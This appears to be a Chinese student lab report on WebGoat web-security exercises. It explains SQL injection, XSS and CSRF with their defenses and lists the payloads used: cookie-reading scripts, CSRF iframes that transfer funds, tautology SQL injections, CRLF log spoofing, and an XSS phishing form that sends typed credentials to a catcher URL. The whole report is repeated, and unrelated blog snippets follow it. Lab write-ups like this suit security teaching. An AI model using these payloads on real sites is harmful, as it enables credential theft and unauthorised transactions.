20145313exp9
问题回答
- SQL注入攻击原理,如何防御
- 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
- 要防御SQL注入,用户的输入必须进行过滤,或者使用参数化的语句。比如对用户的输入进行格式限制、做好错误信息检查、对敏感数据加密处理等。
- XSS攻击的原理,如何防御
- xss表示Cross Site Scripting(跨站脚本攻击),恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
- 在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等;在输出方面,在用户输内容中使用
<XMP>
标签时,标签内的内容不会解释,直接显示;严格执行字符输入字数控制;保证在脚本执行区中,应绝无用户输入。
- CSRF攻击原理,如何防御
- 跨站请求伪造,也被称为:one click attack/session riding,盗用用户身份,以用户名义发送恶意请求。
- 通过 referer、token 或验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息;对于用户修改删除等操作最好都使用post 操作;避免全站通用的cookie,严格设置cookie的域。
实验总结体会
这次实验中我们进行了SQL注入攻击、CSRF攻击和XSS攻击。这三种攻击主要利用的是对网站的输入进行处理,实现恶意脚本的注入。对于有输入框的网页,可以直接在输入框中进行注入,如果没有输入框,也可以对数据包进行截获修改。如果网站仅仅对输入框的输入数据进行格式限制是很不保险的。输入框的格式限制、错误输入的反馈、数据的加密存储保护都应得到足够的关注。
实践过程
Stored XSS Attacks
- 实验目的是在帖子中插入脚本,在打开帖子的时候执行注入的脚本。
- 这里写入massage内容为
<script>alert("It's just funning!");</script>
,打开帖子该代码就会自动执行。
Reflected XSS Attacks
- 同样,在网站输入框中注入脚本信息。发布后点击即可自动执行。
- 在ACCESS CODE 框里填入获取COOKIE的javascript代码
<script>alert(document.cookie);</script>
,提交后得到用户cookie
Cross Site Request Forgery(CSRF)
- 在新建邮件里写入可以更改由题目要求的attack的src、menu的transferFunds数值参数
- 在message里写入的内容为
<iframe src="attack?Screen=284&menu=900&transferFunds=5000"></iframe>
CSRF Prompt By-Pass
- 通过邮件的方式进行恶意请求,不仅对transferFunds数值参数进行了变化,还对这个过程的进行了请求确认,所以需要两个iframe模块,并且由题目可知在请求确认的模块里transferFunds参数的值
- 在massage中写入
<iframe
src="attack?Screen=271&menu=900&transferFunds=5000">
</iframe>
<iframe
src="attack?Screen=271&menu=900&transferFunds=CONFIRM">
</iframe>
- Numeric SQL Injection
- 使用SQL注入语句使得原本只显示一个城市的天气变成显示所有城市的天气
- 考虑构造永真式进行攻击,输入
or 1=1;--
,但是网页并没有输入框。于是考虑通过使用代理,修改数据包数据进行攻击。
Log Spoofing
- 实验目的是使用回车换行符,虽然登录失败但仍显示登陆成功信息
- 输入
%0d%0aLogin succeeded !admin
String SQL Injection
- 实验目的是通过sql注入实现全部用户信息的查询
- 构造永真式
' or 1=1;--
,在用户框中输入
Phishing with XSS
- 在输入框中输入钓鱼网站的代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
* 用户在网站中输入用户名密码即会被截获
Stage 1 String SQL Injection
- 仍然,通过构造永真式进行登录,但网站限制了密码输入长度。所以先对网站源码进行修改。
- 修改后输入永真式
' or 1=1 --
进行登录
- 仍然,通过构造永真式进行登录,但网站限制了密码输入长度。所以先对网站源码进行修改。
Stage 3 Numeric SQL Injection
- 实验要求以larry的身份登录,浏览Neville的profile信息。由于登录后没有再进行输入的部分,还是考虑在登录部分进行攻击。
- 使用网络代理,对发出的数据包进行修改。把
action
修改为ViewProfile
,把用户id改为112 or 1=1 order by salary desc--
,重新提交数据包。
---恢复内容结束---
---恢复内容结束---
---恢复内容结束---
##问题回答
* SQL注入攻击原理,如何防御
* 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
* 要防御SQL注入,用户的输入必须进行过滤,或者使用参数化的语句。比如对用户的输入进行格式限制、做好错误信息检查、对敏感数据加密处理等。
* XSS攻击的原理,如何防御
* xss表示Cross Site Scripting(跨站脚本攻击),恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
* 在输入方面对所有用户提交内容进行可靠的输入验证,提交内容包括URL、查询关键字、http头、post数据等;在输出方面,在用户输内容中使用标签时,标签内的内容不会解释,直接显示;严格执行字符输入字数控制;保证在脚本执行区中,应绝无用户输入。
* CSRF攻击原理,如何防御
* 跨站请求伪造,也被称为:one click attack/session riding,盗用用户身份,以用户名义发送恶意请求。
* 通过 referer、token 或验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息;对于用户修改删除等操作最好都使用post 操作;避免全站通用的cookie,严格设置cookie的域。
实验总结体会
这次实验中我们进行了SQL注入攻击、CSRF攻击和XSS攻击。这三种攻击主要利用的是对网站的输入进行处理,实现恶意脚本的注入。对于有输入框的网页,可以直接在输入框中进行注入,如果没有输入框,也可以对数据包进行截获修改。如果网站仅仅对输入框的输入数据进行格式限制是很不保险的。输入框的格式限制、错误输入的反馈、数据的加密存储保护都应得到足够的关注。
实践过程
Stored XSS Attacks
- 实验目的是在帖子中插入脚本,在打开帖子的时候执行注入的脚本。
- 这里写入massage内容为
<script>alert("It's just funning!");</script>
,打开帖子该代码就会自动执行。
Reflected XSS Attacks
- 同样,在网站输入框中注入脚本信息。发布后点击即可自动执行。
- 在ACCESS CODE 框里填入获取COOKIE的javascript代码
<script>alert(document.cookie);</script>
,提交后得到用户cookie
Cross Site Request Forgery(CSRF)
- 在新建邮件里写入可以更改由题目要求的attack的src、menu的transferFunds数值参数
- 在message里写入的内容为
<iframe src="attack?Screen=284&menu=900&transferFunds=5000"></iframe>
CSRF Prompt By-Pass
- 通过邮件的方式进行恶意请求,不仅对transferFunds数值参数进行了变化,还对这个过程的进行了请求确认,所以需要两个iframe模块,并且由题目可知在请求确认的模块里transferFunds参数的值
- 在massage中写入
<iframe
src="attack?Screen=271&menu=900&transferFunds=5000">
</iframe>
<iframe
src="attack?Screen=271&menu=900&transferFunds=CONFIRM">
</iframe>
- Numeric SQL Injection
- 使用SQL注入语句使得原本只显示一个城市的天气变成显示所有城市的天气
- 考虑构造永真式进行攻击,输入
or 1=1;--
,但是网页并没有输入框。于是考虑通过使用代理,修改数据包数据进行攻击。
Log Spoofing
- 实验目的是使用回车换行符,虽然登录失败但仍显示登陆成功信息
- 输入
%0d%0aLogin succeeded !admin
String SQL Injection
- 实验目的是通过sql注入实现全部用户信息的查询
- 构造永真式
' or 1=1;--
,在用户框中输入
Phishing with XSS
- 在输入框中输入钓鱼网站的代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
* 用户在网站中输入用户名密码即会被截获
Stage 1 String SQL Injection
- 仍然,通过构造永真式进行登录,但网站限制了密码输入长度。所以先对网站源码进行修改。
- 修改后输入永真式
' or 1=1 --
进行登录
- 仍然,通过构造永真式进行登录,但网站限制了密码输入长度。所以先对网站源码进行修改。
Stage 3 Numeric SQL Injection
- 实验要求以larry的身份登录,浏览Neville的profile信息。由于登录后没有再进行输入的部分,还是考虑在登录部分进行攻击。
- 使用网络代理,对发出的数据包进行修改。把
action
修改为ViewProfile
,把用户id改为112 or 1=1 order by salary desc--
,重新提交数据包。
20145313exp9的更多相关文章
随机推荐
- Spring 对JDBC操作的支持
1.Spring 对JDBC操作的支持 Spring对jdbc技术提供了很好的支持,体现在: 1.Spring对c3p0连接池的支持很完善 2.Spring对jdbc提供了jdbcTemplate,来 ...
- cocoapods卸载与安装
引用自:https://www.aliyun.com/jiaocheng/389907.html 一.首先卸载pod which pod 得到pod的路径 sudo rm -rf <pod的路径 ...
- Shiro的使用
前言 相比有做过企业级开发的童鞋应该都有做过权限安全之类的功能吧,最先开始我采用的是建用户表,角色表,权限表,之后在拦截器中对每一个请求进行拦截,再到数据库中进行查询看当前用户是否有该权限,这样的设计 ...
- 【代码备份】ZJ10086测试环境成功代码备份
vuser_init(){ lr_start_transaction("login"); web_url("101.132.17.138", ...
- 【虫师】【selenium】参数化
# 1 #coding=utf-8 from selenium import webdriver import os,time source = open("F:\\test\\info.t ...
- 前端 HTML 常用标签 head标签相关内容
HTML常用标签 head标签 我们首先来介绍一下head标签的主要内容和作用,文档的头部描述了文档的各种属性和信息,包括文档的标题.编码方式及URL等信息,这些信息大部分是用于提供索引,辩认或其他方 ...
- mac版 android studio问题解决
1.mac安装android studio 解决方案:如果你是安装新手,可以下载androud studio boundls 和 安装环境的jdk就可以了,不需要单独在配置环境了,如果你有经验,可以单 ...
- js-jquery-Validate校验【二】中文api
jQuery.validate 中文 API 名称 返回类型 描述 validate(options) Validator 验证所选的 FORM. valid() Boolean 检查是否验证通过. ...
- 如何快速获取ListView的打气筒对象
简单的方式有三种: @Override public View getView(int position, View convertView, ViewGroup parent) { View vie ...
- 【C语言】指向一维数组元素的指针
本文目录 一.用指针指向一维数组的元素 二.用指针遍历数组元素 三.指针与数组的总结 四.数组.指针与函数参数 前面我们已经学习了指针,如果指针存储了某个变量的地址,我们就可以说指针指向这个变量.数组 ...